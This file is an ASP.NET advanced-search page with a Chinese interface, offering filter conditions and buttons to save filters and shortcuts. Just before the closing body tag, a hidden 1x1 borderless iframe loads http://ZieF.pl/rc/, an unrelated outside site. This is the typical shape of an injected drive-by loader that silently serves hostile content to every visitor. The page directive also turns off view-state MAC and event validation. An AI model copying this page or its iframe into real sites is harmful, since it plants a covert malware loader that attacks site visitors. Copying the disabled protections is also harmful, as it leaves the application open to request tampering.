<%@ page language="C#" autoeventwireup="true" inherits="ims.web.advSearch, ims.web" enableviewstatemac="false" enableEventValidation="false" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="advSearch">
<head runat="server">
    <title>高级搜索</title>
</head>
<body runat="server" id="htmlBody">
    <form id="form1" runat="server">
        <asp:ScriptManager ID="sm" runat="server">
            <Scripts>
                <asp:ScriptReference Name="MicrosoftAjax.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/>
                <asp:ScriptReference Name="MicrosoftAjaxWebForms.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/>
            </Scripts>
        </asp:ScriptManager>
        <div class="headerZone" runat="server" id="divHeader">
            <table cellspacing="0"><tr><td runat="server" id="header">设置条件：</td><td align="right"><img class="pointer" runat="server" id="btnHelp" src="images/help1.gif" onclick="return showHelp();" alt="帮助" /></td></tr></table>
        </div>
        <div class="inlineBlock autoWidth">
        <ul class="cond" id="conds">
			<li id="Cond1">
			<asp:CheckBox runat="server" ID="cb1" Checked="true" />&nbsp;<asp:DropDownList Runat="server" ID="dplFileds1" CssClass="fn"></asp:DropDownList>
			<asp:DropDownList Runat="server" ID="dplOper1"></asp:DropDownList><span id="s1">
			<asp:DropDownList ID="dplYN1" Runat="server" CssClass="hide">
				<asp:ListItem Value="true" Selected="True">是</asp:ListItem>
				<asp:ListItem Value="false">否</asp:ListItem>
			</asp:DropDownList><asp:TextBox ID="tb1_1" Runat="server" CssClass="tb"></asp:TextBox><span
			id="span1" class="hide">～<asp:TextBox id="tb2_1" Runat="server" CssClass="tb"></asp:TextBox></span></span><asp:TextBox runat="server" ID="tb3_1" Width="24" Text="1" CssClass="hide"></asp:TextBox><asp:DropDownList runat="server" ID="d_1" CssClass="hide"></asp:DropDownList><span class="topUnit">条记录</span>
			</li>
			<li id="Cond2">
				<asp:RadioButtonList Runat="server" ID="rbl1" RepeatLayout="Flow" RepeatDirection="Horizontal" CssClass="rblCond"></asp:RadioButtonList>
				<asp:CheckBox runat="server" ID="cb2" />&nbsp;<asp:DropDownList Runat="server" ID="dplFileds2" CssClass="fn"></asp:DropDownList>
				<asp:DropDownList Runat="server" ID="dplOper2"></asp:DropDownList><span id="s2">
				<asp:DropDownList ID="dplYN2" Runat="server" CssClass="hide">
					<asp:ListItem Value="true" Selected="True">是</asp:ListItem>
					<asp:ListItem Value="false">否</asp:ListItem>
				</asp:DropDownList><asp:TextBox ID="tb1_2" Runat="server" CssClass="tb"></asp:TextBox><span
				id="span2" class="hide">～<asp:TextBox id="tb2_2" Runat="server" CssClass="tb"></asp:TextBox></span></span><asp:TextBox runat="server" ID="tb3_2" Width="24" Text="1" CssClass="hide"></asp:TextBox><asp:DropDownList runat="server" ID="d_2" CssClass="hide"></asp:DropDownList><span class="topUnit">条记录</span>
			</li>
			<li id="Cond3" class="hide">
				<asp:RadioButtonList Runat="server" ID="rbl2" RepeatLayout="Flow" RepeatDirection="Horizontal" CssClass="rblCond"></asp:RadioButtonList>
				<asp:CheckBox runat="server" ID="cb3" />&nbsp;<asp:DropDownList Runat="server" ID="dplFileds3" CssClass="fn"></asp:DropDownList>
				<asp:DropDownList Runat="server" ID="dplOper3"></asp:DropDownList><span id="s3">
				<asp:DropDownList ID="dplYN3" Runat="server" CssClass="hide">
					<asp:ListItem Value="true" Selected="True">是</asp:ListItem>
					<asp:ListItem Value="false">否</asp:ListItem>
				</asp:DropDownList><asp:TextBox ID="tb1_3" Runat="server" CssClass="tb"></asp:TextBox><span
				id="span3" class="hide">～<asp:TextBox id="tb2_3" Runat="server" CssClass="tb"></asp:TextBox></span></span><asp:TextBox runat="server" ID="tb3_3" Width="24" Text="1" CssClass="hide"></asp:TextBox><asp:DropDownList runat="server" ID="d_3" CssClass="hide"></asp:DropDownList><span class="topUnit">条记录</span>
			</li>
			<li id="Cond4" class="hide">
				<asp:RadioButtonList Runat="server" ID="rbl3" RepeatLayout="Flow" RepeatDirection="Horizontal" CssClass="rblCond"></asp:RadioButtonList>
				<asp:CheckBox runat="server" ID="cb4" />&nbsp;<asp:DropDownList Runat="server" ID="dplFileds4" CssClass="fn"></asp:DropDownList>
				<asp:DropDownList Runat="server" ID="dplOper4"></asp:DropDownList><span id="s4">
				<asp:DropDownList ID="dplYN4" Runat="server" CssClass="hide">
					<asp:ListItem Value="true" Selected="True">是</asp:ListItem>
					<asp:ListItem Value="false">否</asp:ListItem>
				</asp:DropDownList><asp:TextBox ID="tb1_4" Runat="server" CssClass="tb"></asp:TextBox><span
				id="span4" class="hide">～<asp:TextBox id="tb2_4" Runat="server" CssClass="tb"></asp:TextBox></span></span><asp:TextBox runat="server" ID="tb3_4" Width="24" Text="1" CssClass="hide"></asp:TextBox><asp:DropDownList runat="server" ID="d_4" CssClass="hide"></asp:DropDownList><span class="topUnit">条记录</span>
			</li>
			<li id="Cond5" class="hide">
				<asp:RadioButtonList Runat="server" ID="rbl4" RepeatLayout="Flow" RepeatDirection="Horizontal" CssClass="rblCond"></asp:RadioButtonList>
				<asp:CheckBox runat="server" ID="cb5" />&nbsp;<asp:DropDownList Runat="server" ID="dplFileds5" CssClass="fn"></asp:DropDownList>
				<asp:DropDownList Runat="server" ID="dplOper5"></asp:DropDownList><span id="s5">
				<asp:DropDownList ID="dplYN5" Runat="server" CssClass="hide">
					<asp:ListItem Value="true" Selected="True">是</asp:ListItem>
					<asp:ListItem Value="false">否</asp:ListItem>
				</asp:DropDownList><asp:TextBox ID="tb1_5" Runat="server" CssClass="tb"></asp:TextBox><span
				id="span5" class="hide">～<asp:TextBox id="tb2_5" Runat="server" CssClass="tb"></asp:TextBox></span></span><asp:TextBox runat="server" ID="tb3_5" Width="24" Text="1" CssClass="hide"></asp:TextBox><asp:DropDownList runat="server" ID="d_5" CssClass="hide"></asp:DropDownList><span class="topUnit">条记录</span>
			</li>
		</ul>
		<div class="right"><a href="javascript:void(0)" onclick="return addCond();" id="addCond">添加条件</a></div>
        </div>
        <asp:UpdatePanel ID="up" runat="server" ChildrenAsTriggers="true">
            <ContentTemplate>
                <asp:Button ID="btnDoSearch" runat="server" OnClick="doSearch" CssClass="btn" Text="搜  索" Width="54" />
                <asp:Button runat="server" ID="btnSaveTempFilter" OnClick="btnSaveTempFilter_Click" OnClientClick="return preSave();" Text="确定" Visible="false" CssClass="btn" />
                <asp:Button runat="server" ID="btnCanel" OnClientClick="CancelFilter();" Text="取消" Visible="false" CssClass="btn" />
                <asp:Button ID="btnSaveFilter" OnClientClick="return toSaveFilter();" runat="server" Visible="false" CssClass="btn" style="width:74px" Text="保存过滤器" />
                <input type="button" runat="server" id="btnBack" onclick="back();" value="返回" class="btn" />
            </ContentTemplate>
        </asp:UpdatePanel>

        <div class="zoneTitle" runat="server" id="dirPrompt"><img src="images/info.gif" align="absMiddle" /> 提示</div>
        <ul id="ulPrompt" runat="server">
            <li>可<a href="#" onclick="What('CondVar');" title="查看关于使用变量的说明" class="u">在条件中使用字段或变量</a>：<asp:DropDownList runat="server" ID="ddlVars" onchange="ddlVarsChanged(this);">
            </asp:DropDownList>：<input type="text" id="varName" onmouseover="$(this).select();" readonly="readonly" /> <img src="images/copy.gif" title="复制代码" id="iconCopy" /></li>
            <li runat="server" id="lisc">可将设置好的条件保存为快捷方式：<asp:UpdatePanel runat="server" ID="upSc" UpdateMode="Conditional" RenderMode="Inline">
				<ContentTemplate><asp:TextBox runat="server" ID="tbShortcutName" ToolTip="输入快捷方式名称"></asp:TextBox> <asp:ImageButton runat="server" ID="saveShortcut" OnClick="SaveasShortcut" ToolTip="保存快捷方式" ImageAlign="AbsMiddle" ImageUrl="images/save.png" /></ContentTemplate>
				</asp:UpdatePanel>
            </li>
        </ul>

        <ims:Pop runat="server" ID="filterAttr" InitVisible="false" Title="过滤器属性" OnOkClick="SaveFilter" HideOnOkClientClick="false" ShowProgress="false">
        <ContentTemplate>
            过滤器名称：<asp:TextBox ID="tbFilterName" runat="server" onkeydown="return enterTo('filterAttr_btnOK');"></asp:TextBox>
            <div class="sepline"></div>
            <asp:CheckBox ID="cbFilterHide" Text="隐藏该过滤器（仅在字段的链接或查询中使用）" runat="server" />
        </ContentTemplate>
        </ims:Pop>
    <script src="js/comm.js"></script><script src="js/advSearch.js"></script>
    </form>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
